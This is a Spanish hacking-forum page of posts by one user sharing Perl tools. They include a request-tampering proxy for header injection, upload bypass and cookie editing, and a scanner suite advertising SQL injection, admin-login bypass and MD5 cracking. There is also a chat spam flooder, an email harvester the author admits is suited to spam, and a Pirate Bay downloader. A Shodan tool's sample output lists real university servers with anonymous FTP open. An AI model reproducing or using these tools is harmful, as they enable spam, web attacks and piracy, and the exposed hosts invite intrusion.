Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

#161
Scripting / [Perl] Project Kakilles 0.3
5 Enero 2014, 22:59 PM
Un simple script que hice como parodia del famoso programa Achilles , el kakilles viene por lo caca del programa.

Les dejo un video que tiene 3 ejemplos de uso :

* HTTP Header Injection
* Bypass Uploaders
* Cookie Handling

El video :

[youtube=640,360]http://www.youtube.com/watch?v=RdiKdIxqobU[/youtube]

El codigo :

Código (perl) [Seleccionar]

#!usr/bin/perl
#Project Kakilles 0.3
#(C) Doddy Hackman 2014

use HTTP::Proxy;
use HTTP::Proxy::BodyFilter::simple;
use HTTP::Proxy::BodyFilter::complete;

my $port;

head();

if ( $ARGV[1] ne "" ) {
   $port = $ARGV[1];
}
else {
   $port = 8080;
}

if ( $ARGV[0] eq "" ) {
   sintax();
   copyright();
}

$SIG{INT} = \&copyright;

my $logs       = "logs.txt";
my $leer_datos = "center.txt";

print "\n[+] Kakilles Online : $port ...\n";

my $server = HTTP::Proxy->new( port => $port );
$server->host();

$server->push_filter(
   mime     => undef,
   response => HTTP::Proxy::BodyFilter::complete->new()
);

$server->push_filter(
   mime     => undef,
   request  => HTTP::Proxy::BodyFilter::simple->new( \&enable ),
   response => HTTP::Proxy::BodyFilter::simple->new( \&enable2 )
);

$server->start();

sub enable {

   my @logs;

   my ( $self, $dataref, $message, $protocol, $buffer ) = @_;

   if ( $ARGV[0] =~ /p/ ) {

       if ( $message->content ne "" and $message->method eq "POST" ) {

           print
"\n########################################################################\n";
           print "[+] Method : " . $message->method;
           print "\n[+] Content : " . $message->content;
           savefile( $leer_datos, $message->content );
           print
"\n########################################################################\n";

           print "\n[+] Change ? [y/n] : ";
           chomp( my $rta = <stdin> );

           if ( $rta =~ /y/ ) {

               system_leida($leer_datos);

               my $source = abrir();
               $message->header( "content-length" => length($source) );
               $message->content($source);

               print "\n[+] Changed !\n";

           }
       }
   }

   if ( $ARGV[0] =~ /g/ ) {

       if ( $message->uri =~ /(.*)\?(.*)/ ) {

           print
"\n########################################################################\n";
           print "[+] GET : " . $message->uri;
           savefile( $leer_datos, $message->uri );
           print
"\n########################################################################\n";

           print "\n[+] Change ? [y/n] : ";
           chomp( my $rta = <stdin> );

           if ( $rta =~ /y/ ) {

               system_leida($leer_datos);

               my $source = abrir();

               $message->uri($source);

               print "\n[+] Changed !\n";

           }

       }

   }

   if ( $ARGV[0] =~ /a/ ) {

       print
"\n########################################################################\n";
       print "[+] User-Agent : " . $message->header("user-agent");
       savefile( $leer_datos, $message->header("user-agent") );
       print
"\n########################################################################\n";

       print "\n[+] Change ? [y/n] : ";
       chomp( my $rta = <stdin> );

       if ( $rta =~ /y/ ) {

           system_leida($leer_datos);

           my $source = abrir();

           $message->header( "user-agent" => $source );

           print "\n[+] Changed !\n";

       }
   }

   if ( $ARGV[0] =~ /o/ ) {

       print
"\n########################################################################\n";
       print "[+] Cookie : " . $message->header("cookie");
       savefile( $leer_datos, $message->header("cookie") );
       print
"\n########################################################################\n";

       print "\n[+] Change ? [y/n] : ";
       chomp( my $rta = <stdin> );

       if ( $rta =~ /y/ ) {

           system_leida($leer_datos);

           my $source = abrir();

           $message->header( "cookie" => $source );

           print "\n[+] Changed !\n";

       }
   }

}

sub enable2 {
   my ( $j, $k, $l, $m, $n ) = @_;

   if ( $ARGV[0] =~ /c/ ) {

       if ( $$k ne "" ) {

           print
             "\n##########################################################\n";
           print "[+] Content : " . $$k;
           savefile( $leer_datos, $$k );
           print
             "\n##########################################################\n";

           print "\n[+] Change ? [y/n] : ";
           chomp( my $rta = <stdin> );

           if ( $rta =~ /y/ ) {

               system_leida($leer_datos);

               my $source = abrir();

               $$k = $source;

               print "\n[+] Changed !\n";

           }

       }

   }

}

# Functions

sub system_leida {
   my $os = $^O;
   if ( $os =~ /Win/ig ) {
       system( "start " . $_[0] );
   }
   else {
       system( "sudo gedit " . $_[0] );
   }
}

sub abrir {
   open my $FILE, q[<], $leer_datos;
   my $word = join q[], <$FILE>;
   close $FILE;
   chomp $word;
   return $word;
}

sub savefile {
   unlink($leer_datos);
   open( SAVE, ">>" . $_[0] );
   print SAVE $_[1] . "\n";
   close SAVE;
}

sub head {
   print "\n-- == Project Kakilles 0.3 == --\n";
}

sub copyright {
   print "\n-- == (C) Doddy Hackman 2014 == --\n\n";
   exit(1);
}

sub sintax {
   print "\n[+] Sintax : $0 <options> <port>\n";
   print "\n[?] Options ...\n\n";
   print "-g : Form with GET\n";
   print "-p : Form with POST\n";
   print "-a : Edit User-Agent\n";
   print "-c : Edit Content\n";
   print "-o : Edit Cookie\n";
   print "\n[+] Example : $0 -pc 666\n";
}

# The End ?


Si quieren bajar el codigo lo pueden hacer de aca
#162
Scripting / Re: [Perl] PirateBay Manager 0.3
4 Enero 2014, 20:54 PM
Si.
#163
Scripting / [Perl] Project ParanoicScan 1.7
1 Enero 2014, 04:56 AM
Como primer programa del 2014 les traigo la nueva version de mi ParanoicScan en su version 1.7 , hace tiempo ciertas personas robaron el codigo fuente de la anterior version de este programa , el tema es que no me molesto que usaran el codigo sino que solo le cambiaron el nombre del programa y el nombre del autor , no se molestaron en cambiar los nombres de la variables solo cambiaron el nombre del autor , por un momento dude en seguir compartiendo el codigo de este proyecto de 2 años de trabajo pero a pesar de eso voy a seguir compartiendo el codigo de este programa , ademas explorer (de perlenespanol) me recomendo hacer otra version de este programa para demostrar que era el verdadero autor asi que el programa tiene el doble de funciones y arregle un sin fin de bugs que habia en todo el codigo.

[++] Old Options

Google & Bing Scanner que ademas scannea :

* XSS
* SQL GET / POST
* SQL GET
* SQL GET + Admin
* Directory listing
* MSSQL
* Jet Database
* Oracle
* LFI
* RFI
* Full Source Discloure
* HTTP Information
* SQLi Scanner
* Bypass Admin
* Exploit FSD Manager
* Paths Finder
* IP Locate
* Crack MD5
* Panel Finder
* Console

[++] Fixes

  • Renovacion de paginas actuales para crack md5
  • Error en el scanner fsd
  • Error en el scanner http scan
  • Espacios entre texto demasiados molestos
  • Agregado array para bypass
  • Error en la leida de archivos

    [++] New options

  • Genera todos los logs en un archivo html
  • Incorpora useragent aleatorios y nuevos
  • Multi encoder/decoder :

    * Ascii
    * Hex
    * Url
    * Bin To Text & Text To Bin

  • PortScanner
  • HTTP FingerPrinting
  • CSRF Tool
  • XSS Scan
  • Generator para XSS Bypass
  • Generador de links para tiny url
  • Buscador y descargador de exploits en Exploit-DB
  • Mysql Manager
  • LFI Tools

    Un video con ejemplos de uso

    [youtube=640,360]https://www.youtube.com/watch?v=-M59SEVTevc[/youtube]

    El programa lo pueden bajar desde los siguientes links :

    Github
    GoogleCode
    SourceForge
    PasteBin

    Eso seria todo.
#164
Scripting / [Perl] Come on Spam Now 0.1
31 Diciembre 2013, 22:42 PM
Un simple script que hice para trolear hasta el infinito en juegos online u otras cosas en las cuales mandan un mensaje por cada enter.

El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Come on Spam Now 0.1
#Coded By Doddy H
#ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd

use Win32::GuiTest qw(SendKeys);
use Time::HiRes "usleep";

$|++;

head();

my $tiempo_final;

my $tiemponow = time;

print "[+] Text to Flood : ";
chomp( my $your_text = <stdin> );
print "\n[+] Duration of attack : ";
chomp( my $hasta = <stdin> );
print "\n[+] Sleep Time : ";
chomp( my $tiempo = <stdin> );

$hasta = $hasta + 10;

if ( $tiempo ne "" ) {
    $tiempo_final = $tiempo;
}
else {
    $tiempo_final = 0;
}

print "\n[+] Select the window to destroy\n";
print "\n[+] Wait 5 seconds\n";
sleep(5);
print "\n[+] Come on Spam Now !!!!!!!\n";

while ( time - $tiemponow < $hasta ) {

    sleep($tiempo_final);
    SendKeys($your_text);
    SendKeys("{ENTER}");

}

print "\n[+] Finished\n";

copyright();

#Functions

sub head {

    my @logo = (
        "#=============================================#", "\n",
        "#           Come On Spam Now 0.1              #", "\n",
        "#---------------------------------------------#", "\n",
        "# Written By Doddy H                          #", "\n",
        "# Email: lepuke[at]hotmail[com]               #", "\n",
        "# Website: doddyhackman.webcindario.com       #", "\n",
        "#---------------------------------------------#", "\n",
        "# The End ?                                   #", "\n",
        "#=============================================#", "\n"
    );

    print "\n";

    marquesina(@logo);

    print "\n";

}

sub copyright {

    my @fin = ("-- == (C) Doddy Hackman 2013 == --");

    print "\n";
    marquesina(@fin);
    print "\n\n";

    <stdin>;

    exit(1);

}

sub marquesina {

    #Effect based in the exploits by Jafer Al Zidjali

    my @logo = @_;

    my $car = "|";

    for my $uno (@logo) {
        for my $dos ( split //, $uno ) {

            $|++;

            if ( $car eq "|" ) {
                mostrar( "\b" . $dos . $car, "/" );
            }
            elsif ( $car eq "/" ) {
                mostrar( "\b" . $dos . $car, "-" );
            }
            elsif ( $car eq "-" ) {
                mostrar( "\b" . $dos . $car, "\\" );
            }
            else {
                mostrar( "\b" . $dos . $car, "|" );
            }
            usleep(40_000);
        }
        print "\b ";
    }

    sub mostrar {
        print $_[0];
        $car = $_[1];
    }

}

#The End ?
#165
Scripting / [Perl] Emails Extractor 0.2
27 Diciembre 2013, 15:35 PM
Un simple script en Perl para buscar direcciones de correo en :

  • Un archivo de texto cualquiera
  • Una pagina
  • Usando un dork en google para scanear todas las paginas encontradas con el dork
  • Lo mismo que el anterior pero en bing

    El codigo.

    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #Email Extractor 0.2
    #(C) Doddy Hackman 2013
    #Credits : Regex based on
    #http://stackoverflow.com/questions/15710275/print-email-addresses-to-a-file-in-perl
    #Thanks to motherconfessor & amon

    use LWP::UserAgent;
    use URI::Escape;

    my $nave = LWP::UserAgent->new;
    $nave->agent(
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
    );
    $nave->timeout(10);

    my $buscador = qr/[A-Z0-9._%+-]+\@[A-Z0-9.-]+\.[A-Z]{2,4}/i
      ;    # Thanks to motherconfessor & amon
    my @emails;

    head();

    if ( $ARGV[0] eq "-file" ) {

        print "\n[+] Opening file ...\n";

        if ( -f $ARGV[1] ) {

            my $code = openfile( $ARGV[1] );

            while ( $code =~ /($buscador)/g ) {
                my $email = $1;
                push( @emails, $email );
            }

            my @emails = repes(@emails);

            print "\n[+] Mails Found : " . int(@emails) . "\n";

            for (@emails) {
                savefile( $ARGV[2], $_ );
            }

        }
        else {
            print "\n[-] File not found\n";
        }

    }
    elsif ( $ARGV[0] eq "-google" ) {

        print "\n[+] Searching in Google ...\n";

        my @links = google( $ARGV[1], $ARGV[2] );

        print "[+] Scanning [" . int(@links) . "] pages ...\n";

        for my $ink (@links) {
            my $code = toma($ink);

            while ( $code =~ /($buscador)/g ) {
                my $email = $1;
                push( @emails, $email );
            }

        }

        my @emails = repes(@emails);

        print "\n[+] Mails Found : " . int(@emails) . "\n";

        for (@emails) {
            savefile( $ARGV[2], $_ );
        }

    }
    elsif ( $ARGV[0] eq "-bing" ) {

        print "\n[+] Searching in Bing ...\n";

        my @links = bing( $ARGV[1], $ARGV[2] );

        print "[+] Scanning [" . int(@links) . "] pages ...\n";

        for my $ink (@links) {
            my $code = toma($ink);

            while ( $code =~ /($buscador)/g ) {
                my $email = $1;
                push( @emails, $email );
            }

        }

        my @emails = repes(@emails);

        print "\n[+] Mails Found : " . int(@emails) . "\n";

        for (@emails) {
            savefile( $ARGV[3], $_ );
        }

    }
    elsif ( $ARGV[0] eq "-page" ) {

        my $code = toma( $ARGV[1] );

        print "\n[+] Loading page ...\n";

        while ( $code =~ /($buscador)/g ) {
            my $email = $1;
            push( @emails, $email );
        }

        my @emails = repes(@emails);

        print "\n[+] Mails Found : " . int(@emails) . "\n";

        for (@emails) {
            savefile( $ARGV[2], $_ );
        }

    }
    else {
        sintax();
    }

    copyright();

    # Functions

    sub bing {

        my ( $a, $b ) = @_;
        for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
            my $code =
              toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages );

            while ( $code =~ /<h3><a href="(.*?)"/mig ) {
                push( @founds, $1 );
            }
        }
        my @founds = repes( cortar(@founds) );
        return @founds;
    }

    sub google {
        my ( $a, $b ) = @_;
        my @founds;
        for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
            $code = toma(
                "http://www.google.com.ar/search?hl=&q=" . $a . "&start=$pages" );
            while ( $code =~ /(?<="r"><. href=")(.+?)"/mig ) {
                my $url = $1;
                if ( $url =~ /\/url\?q\=(.*?)\&amp\;/ ) {
                    push( @founds, uri_unescape($1) );
                }
            }
        }
        my @founds = repes( cortar(@founds) );
        return @founds;
    }

    sub cortar {
        my @nuevo;
        for (@_) {
            if ( $_ =~ /=/ ) {
                @tengo = split( "=", $_ );
                push( @nuevo, @tengo[0] . "=" );
            }
            else {
                push( @nuevo, $_ );
            }
        }
        return @nuevo;
    }

    sub toma {
        return $nave->get( $_[0] )->content;
    }

    sub savefile {

        if ( $_[0] eq "" ) {
            open( SAVE, ">>logs.txt" );
        }
        else {
            open( SAVE, ">>" . $_[0] );
        }

        print SAVE $_[1] . "\n";
        close SAVE;
    }

    sub openfile {
        open my $FILE, q[<], $_[0];
        my $word = join q[], <$FILE>;
        close $FILE;
        return $word;
    }

    sub repes {
        my @limpio;
        foreach $test (@_) {
            push @limpio, $test unless $repe{$test}++;
        }
        return @limpio;
    }

    sub sintax {
        print "\n[+] Sintax : $0 <options> <logs>\n";
        print "\n[+] Examples : \n\n";
        print "[+] $0 -file test.txt logs.txt\n";
        print "[+] $0 -google 50 mailist logs.txt\n";
        print "[+] $0 -bing 50 mailist logs.txt\n";
        print "[+] $0 -page http://localhost/index.php logs.txt\n";
    }

    sub head {
        print "\n-- == Email Extractor 0.2 == --\n";
    }

    sub copyright {
        print "\n-- == (C) Doddy Hackman 2013 == --\n\n";
        exit(1);
    }

    #The End ?


    Mostraria un ejemplo de uso pero puedo tener problemas cuando el script devuelve como 500 mails ajenos claramente para spam xD.
#166
Scripting / [Perl] PirateBay Manager 0.3
23 Diciembre 2013, 00:27 AM
Un simple script para usar en Windows para bajar torrents desde la famosa pagina llamada PirateBay.

El codigo.

Código (perl) [Seleccionar]

#!usr/bin/perl
#PirateBay Manager 0.3
#(C) Doddy Hackman 2013

use LWP::UserAgent;
use Time::HiRes "usleep";

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

my $requisito = "C:/Archivos de programa/uTorrent/uTorrent.exe";

head();

print "[+] Write the search : ";
chomp( my $busqueda = <stdin> );

$busqueda =~ s/ /%20/;

print "\n[+] Searching ...";

my $code = toma( "http://thepiratebay.se/search/" . $busqueda . "/0/99/0" );

my @links;
$contador = -1;

while ( $code =~
/(.*?)class="detLink" title="Details for (.*?)">(.*?)<a href="magnet(.*?)" title="Download this torrent using magnet"(.*?)<font class="detDesc">(.*?)<\/font>(.*?)<td align="right">(.*?)<\/td>(.*?)<td align="right">(.*?)<\/td>(.*?)/migs
  )
{

    my $nombre         = $2;
    my $link_torrent   = magnet . $4;
    my $limpiando_data = $6;
    my $data;
    my $seeders  = $8;
    my $leechers = $10;

    if ( $limpiando_data =~ /(.*), ULed by </ ) {
        $limpiando_data_2 = $1;
        $limpiando_data_2 =~ s/&nbsp;/ /migs;
        $data = $limpiando_data_2;
    }

    $contador++;

    print "\n\n[+] ID : " . $contador;
    print "\n[+] Name : " . $nombre;
    push( @links, $link_torrent );
    print "\n[+] Data : " . $data . ", Seeders $seeders, Leechers $leechers";

}

print "\n\n[+] ID to download : ";
chomp( my $id_to = <stdin> );

print "\n[+] Executed !\n";

system( $requisito, $links[$id_to] );

copyright();

## Functions

sub head {

    my @logo = (
        "#=============================================#", "\n",
        "#           PirateBay Manager 0.3             #", "\n",
        "#---------------------------------------------#", "\n",
        "# Written By Doddy H                          #", "\n",
        "# Email: lepuke[at]hotmail[com]               #", "\n",
        "# Website: doddyhackman.webcindario.com       #", "\n",
        "#---------------------------------------------#", "\n",
        "# The End ?                                   #", "\n",
        "#=============================================#", "\n"
    );

    print "\n";

    marquesina(@logo);

    print "\n\n";

}

sub copyright {

    my @fin = ("-- == (C) Doddy Hackman 2013 == --");

    print "\n\n";
    marquesina(@fin);
    print "\n\n";

    <stdin>;

    exit(1);

}

sub marquesina {

    #Effect based in the exploits by Jafer Al Zidjali

    my @logo = @_;

    my $car = "|";

    for my $uno (@logo) {
        for my $dos ( split //, $uno ) {

            $|++;

            if ( $car eq "|" ) {
                mostrar( "\b" . $dos . $car, "/" );
            }
            elsif ( $car eq "/" ) {
                mostrar( "\b" . $dos . $car, "-" );
            }
            elsif ( $car eq "-" ) {
                mostrar( "\b" . $dos . $car, "\\" );
            }
            else {
                mostrar( "\b" . $dos . $car, "|" );
            }
            usleep(40_000);
        }
        print "\b ";
    }

    sub mostrar {
        print $_[0];
        $car = $_[1];
    }

}

sub toma {
    return $nave->get( $_[0] )->content;
}

#The End ?


Ejemplo de uso.


C:\Documents and Settings\Doddy\Escritorio\Warfactory VIII>piratebay.pl

#=============================================#
#           PirateBay Manager 0.3             #
#---------------------------------------------#
# Written By Doddy H                          #
# Email: lepuke[at]hotmail[com]               #
# Website: doddyhackman.webcindario.com       #
#---------------------------------------------#
# The End ?                                   #
#=============================================#


[+] Write the search : batman

[+] Searching ...

[+] ID : 0
[+] Name : Batman and Robin v2 25 (2014)(2 cvrs)(1440+2048px-HD)(BrightEyes
[+] Data : Uploaded 11-23 03:43, Size 89.67 MiB, Seeders 24, Leechers 5

[+] ID : 1
[+] Name : Batman '66 022 (2013) (digital) (Son of Ultron-Empire) (- Nem -)
[+] Data : Uploaded 11-27 14:25, Size 40.39 MiB, Seeders 25, Leechers 1

[+] ID : 2
[+] Name : Batman O Retorno (1992) DVDRip Dublado Repostagem
[+] Data : Uploaded 11-25 20:58, Size 811.15 MiB, Seeders 0, Leechers 5

[+] ID : 3
[+] Name : Batman O Retorno (1992) DVDRip Dublado By Eliasjustino
[+] Data : Uploaded 11-25 19:10, Size 811.15 MiB, Seeders 1, Leechers 0

[+] ID : 4
[+] Name : BATMAN - LI'L GOTHAM 002 (2013) (Print) (c2c) (GreenManGroup-DCP
[+] Data : Uploaded 11-25 16:10, Size 37.15 MiB, Seeders 10, Leechers 2

[+] ID : 5
[+] Name : BATMAN - LI'L GOTHAM 001 (2013) (Print) (c2c) (GreenManGroup-DCP
[+] Data : Uploaded 11-25 16:09, Size 38.28 MiB, Seeders 10, Leechers 2

[+] ID : 6
[+] Name : BATMAN - LI'L GOTHAM 023 (2013) (digital) (Son of Ultron-Empire)
[+] Data : Uploaded 11-25 11:21, Size 30.81 MiB, Seeders 10, Leechers 1

[+] ID : 7
[+] Name : Batman 1966 Complete Season 3 Uncut TV RIP
[+] Data : Uploaded Y-day 07:43, Size 5.19 GiB, Seeders 12, Leechers 6

[+] ID : 8
[+] Name : Batman Arkham Origins (Update 7 + 6 DLC) Repack by z10yded
[+] Data : Uploaded Y-day 04:00, Size 8.11 GiB, Seeders 163, Leechers 230

[+] ID : 9
[+] Name : Batman.Arkham.Origins.Update.v2.0.Incl.DLC-RELOADED
[+] Data : Uploaded 11-27 19:27, Size 308.21 MiB, Seeders 125, Leechers 14

[+] ID : 10
[+] Name : Batman The Dark Knight 025 (2014) (Digital) (Zone-Empire)
[+] Data : Uploaded 11-27 15:27, Size 23.32 MiB, Seeders 81, Leechers 5

[+] ID : 11
[+] Name : Batman - Long Shadows
[+] Data : Uploaded 11-27 13:10, Size 59.59 MiB, Seeders 31, Leechers 2

[+] ID : 12
[+] Name : Batman.Arkham.Trilogy-R.G. Mechanics
[+] Data : Uploaded 11-27 05:05, Size 25.36 GiB, Seeders 41, Leechers 67

[+] ID : 13
[+] Name : Batman.Arkham.Origins.Update.v20131125-FTS
[+] Data : Uploaded 11-26 21:43, Size 253.1 MiB, Seeders 19, Leechers 2

[+] ID : 14
[+] Name : Batman Arkham Origins - FULL GAME PC - LAST UPDATES
[+] Data : Uploaded 11-24 12:50, Size 16.51 GiB, Seeders 17, Leechers 52

[+] ID : 15
[+] Name : Damian - Son of Batman 02 (of 04) (2014) (Digital) (Nahga-Empire
[+] Data : Uploaded 11-27 13:39, Size 45.2 MiB, Seeders 188, Leechers 24

[+] ID : 16
[+] Name : BATMAN - KNIGHTFALL Volume 1 to 3 (DC) (Digital) (TheHand-Empire
[+] Data : Uploaded 11-19 17:21, Size 2.52 GiB, Seeders 29, Leechers 7

[+] ID : 17
[+] Name : BATMAN '66  021 (2013) (DC Comics) (digital) (Son of Ultron-Empi
[+] Data : Uploaded 11-21 01:02, Size 68.39 MiB, Seeders 9, Leechers 1

[+] ID : 18
[+] Name : BATMAN AND TWO-FACE 025 (2014) (Digital) (Zone-Empire)
[+] Data : Uploaded 11-20 19:44, Size 27.07 MiB, Seeders 43, Leechers 0

[+] ID : 19
[+] Name : BATMAN '66  020 (2013) (DC Comics) (digital) (Son of Ultron-Empi
[+] Data : Uploaded 11-14 14:47, Size 71.7 MiB, Seeders 5, Leechers 1

[+] ID : 20
[+] Name : BATMAN - SUPERMAN 005 (2013) (Webrip) (2 covers) (The Last Krypt
[+] Data : Uploaded 11-06 13:36, Size 43.09 MiB, Seeders 32, Leechers 1

[+] ID : 21
[+] Name : Batman - Legends of the Dark Knight 077 (2013)(OlJoe-DCP)
[+] Data : Uploaded 11-20 13:05, Size 12.53 MiB, Seeders 13, Leechers 0

[+] ID : 22
[+] Name : Batman - Ego (2000).cbr (- Nem -)
[+] Data : Uploaded 11-17 17:28, Size 15.34 MiB, Seeders 13, Leechers 0

[+] ID : 23
[+] Name : Batman Beyond 2.0 (001 - 008) (ongoing) (- Nem -)
[+] Data : Uploaded 11-17 17:18, Size 201.42 MiB, Seeders 21, Leechers 3

[+] ID : 24
[+] Name : Batman Beyond 2.0 008 (2013) (digital) (Son of Ultron-Empire).cb
[+] Data : Uploaded 11-17 17:16, Size 29.28 MiB, Seeders 10, Leechers 0

[+] ID : 25
[+] Name : Batman Beyond 2.0 007 (2013) (digital) (Son of Ultron-Empire).cb
[+] Data : Uploaded 11-17 17:14, Size 24.96 MiB, Seeders 8, Leechers 0

[+] ID : 26
[+] Name : Batman Beyond 2.0 006 (2013) (digital) (Son of Ultron-Empire).cb
[+] Data : Uploaded 11-17 17:13, Size 25.21 MiB, Seeders 8, Leechers 0

[+] ID : 27
[+] Name : Batman v2 25 (2014) (2 covers) (1440+2048px-HD) (theProletariat-
[+] Data : Uploaded 11-15 19:20, Size 113.44 MiB, Seeders 26, Leechers 4

[+] ID : 28
[+] Name : Batman.O.Cavaleiro.das.Trevas_P1 e 2 PTBR
[+] Data : Uploaded 11-14 07:16, Size 543.94 MiB, Seeders 6, Leechers 0

[+] ID : 29
[+] Name : Batman - Ano Um (2011) 720p HD Dublado / Dual Audio pt-BR
[+] Data : Uploaded 11-13 18:05, Size 501.99 MiB, Seeders 37, Leechers 3

[+] ID to download : 0

[+] Executed !


-- == (C) Doddy Hackman 2013 == --

#167
Scripting / [Perl] Shodan Tool 0.2
21 Diciembre 2013, 00:30 AM
Un simple script en Perl para realizar busquedas en Shodan usando el API que hicieron para Perl.

El codigo.

Código (perl) [Seleccionar]

#!usr/bin/perl
# Shodan Tool 0.2
# (C) Doddy Hackman 2013

# Install the dependencies
# sudo perl -MCPAN -e 'install CGI::Enurl'
# sudo perl -MCPAN -e 'install JSON::XS'
# sudo perl -MCPAN -e 'install HTTP::Request::Common'
# Install Shodan
# curl -OL http://github.com/downloads/achillean/shodan-perl/Shodan-0.3.tar.gz
# tar zxvf Shodan-0.3.tar.gz
# cd Shodan-0.3
# perl Makefile.PL
# make
# sudo make install

use Shodan::WebAPI;

$SIG{INT} = \&copyright;

$your_key = "fuck you";    # Your Api Key

head();

unless ( $ARGV[0] ) {
    print "\n[+] Sintax : $0 <search>\n";
}
else {

    print "\n[+] Searching ...\n";

    $shell_shodan = new Shodan::WebAPI($your_key);
    $resultados   = $shell_shodan->search( $ARGV[0] );

    @encontrados = @{ $resultados->{"matches"} };

    for ( $i = 0 ; $i < $#encontrados ; ) {

        print "\n[+] Search Number : " . $i . "\n";

        if ( $encontrados[$i]->{country_name} eq "" ) {
            print "[+] Country : Not Found\n";
        }
        else {
            print "[+] Country : " . $encontrados[$i]->{country_name} . "\n";
        }
        if ( $encontrados[$i]->{ip} eq "" ) {
            print "[+] IP : Not Found\n";
        }
        else {
            print "[+] IP : " . $encontrados[$i]->{ip} . "\n";
        }

        print "[+] Hostnames: ",
          join( "\t", @{ $encontrados[$i]->{hostnames} } ), "\n";

        print "\n";

        if ( $encontrados[$i]->{os} eq "" ) {
            print "[+] OS : Not Found\n";
        }
        else {
            print "[+] OS : " . $encontrados[$i]->{os} . "\n";
        }
        if ( $encontrados[$i]->{port} eq "" ) {
            print "[+] Port : Not Found\n";
        }
        else {
            print "[+] Port : " . $encontrados[$i]->{port} . "\n";
        }
        if ( $encontrados[$i]->{updated} eq "" ) {
            print "[+] Last Updated : Not Found\n";
        }
        else {
            print "[+] Last Updated : " . $encontrados[$i]->{updated} . "\n";
        }

        print "\n[Data Start]\n" . $encontrados[$i]->{data} . "\n[Data End]\n";

        $i++;

        if ( $i % 5 == 0 ) {
            print "\n[+] Press enter to show more\n";
            <STDIN>;
        }
    }
}

copyright();

# Functions

sub head {
    print "\n-- == Shodan Tool 0.2 == --\n";
}

sub copyright {
    print "\n-- == (C) Doddy Hackman 2013 == --\n";
    exit(1);
}

# The End ?


Un ejemplo de uso.


doddy@doddy-desktop:~/Escritorio/HackingToolz/Warfactory IX/Shodan$ perl shodantool.pl "facultad"

-- == Shodan Tool 0.2 == --

[+] Searching ...

[+] Search Number : 0
[+] Country : Spain
[+] IP : 193.147.172.36
[+] Hostnames: ftp.fgh.us.es

[+] OS : Not Found
[+] Port : 21
[+] Last Updated : 27.11.2013
Wide character in print at shodanfinal.pl line 78.

[Data Start]
220-Microsoft FTP Service
220 FACULTAD DE GEOGRAF�A E HISTORIA. INFORMA�TICA
230-BIENVENIDOS AL SERVIDOR DE RECURSOS COMPARTIDOS DOCENTES DE LA FACULTAD DE GEOGRAF�A E HISTORIA
230 Anonymous user logged in.
214-The following  commands are recognized(* ==>'s unimplemented).
   ABOR
   ACCT
   ALLO
   APPE
   CDUP
   CWD 
   DELE
   FEAT
   HELP
   LIST
   MDTM
   MKD 
   MODE
   NLST
   NOOP
   OPTS
   PASS
   PASV
   PORT
   PWD 
   QUIT
   REIN
   REST
   RETR
   RMD 
   RNFR
   RNTO
   SITE
   SIZE
   SMNT
   STAT
   STOR
   STOU
   STRU
   SYST
   TYPE
   USER
   XCUP
   XCWD
   XMKD
   XPWD
   XRMD
214  HELP command successful.
[Data End]

[+] Search Number : 1
[+] Country : Bolivia
[+] IP : 200.87.234.18
[+] Hostnames:

[+] OS : Not Found
[+] Port : 21
[+] Last Updated : 25.11.2013

[Data Start]
220 Bienvenido al servicio de FTP de la Facultad de Ciencias Extactas y Tecnologia - U.A.G.R.M.
230 Login successful.
214-The following commands are recognized.
ABOR ACCT ALLO APPE CDUP CWD  DELE EPRT EPSV FEAT HELP LIST MDTM MKD
MODE NLST NOOP OPTS PASS PASV PORT PWD  QUIT REIN REST RETR RMD  RNFR
RNTO SITE SIZE SMNT STAT STOR STOU STRU SYST TYPE USER XCUP XCWD XMKD
XPWD XRMD
214 Help OK.
[Data End]

[+] Search Number : 2
[+] Country : Chile
[+] IP : 146.83.193.197
[+] Hostnames: zafiro.ciencias.ubiobio.cl

[+] OS : Not Found
[+] Port : 80
[+] Last Updated : 24.11.2013

[Data Start]
HTTP/1.0 302 Found
Date: Sun, 24 Nov 2013 04:06:36 GMT
Server: Apache/2.2.16 (Debian)
Location: http://146.83.193.197/facultad/
Vary: Accept-Encoding
Content-Length: 295
Content-Type: text/html; charset=iso-8859-1


[Data End]

[+] Search Number : 3
[+] Country : Venezuela
[+] IP : 190.169.126.3
[+] Hostnames: inving.ing.ucv.ve

[+] OS : Not Found
[+] Port : 21
[+] Last Updated : 23.11.2013

[Data Start]
220 FTP -2: - Facultad de Ingenieira
530 Login or password incorrect!
214-The following commands are recognized:
   USER   PASS   QUIT   CWD    PWD    PORT   PASV   TYPE
   LIST   REST   CDUP   RETR   STOR   SIZE   DELE   RMD
   MKD    RNFR   RNTO   ABOR   SYST   NOOP   APPE   NLST
   MDTM   XPWD   XCUP   XMKD   XRMD   NOP    EPSV   EPRT
   AUTH   ADAT   PBSZ   PROT   FEAT   MODE   OPTS   HELP
   ALLO   MLST   MLSD   SITE   P@SW   STRU   CLNT   MFMT
214 Have a nice day.
[Data End]

[+] Search Number : 4
[+] Country : Argentina
[+] IP : 163.10.23.131
[+] Hostnames: www.fcnym.unlp.edu.ar

[+] OS : Not Found
[+] Port : 80
[+] Last Updated : 23.11.2013

[Data Start]
HTTP/1.0 200 OK
Date: Sat, 23 Nov 2013 14:31:52 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.4
Set-Cookie: choiqueCMS-froNt3nD-facultad=qo7hgqq9cdir6t5pgsg0bgipe1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8


[Data End]

[+] Press enter to show more


[+] Search Number : 5
[+] Country : Mexico
[+] IP : 148.224.13.152
[+] Hostnames: 152-13-static.uaslp.mx

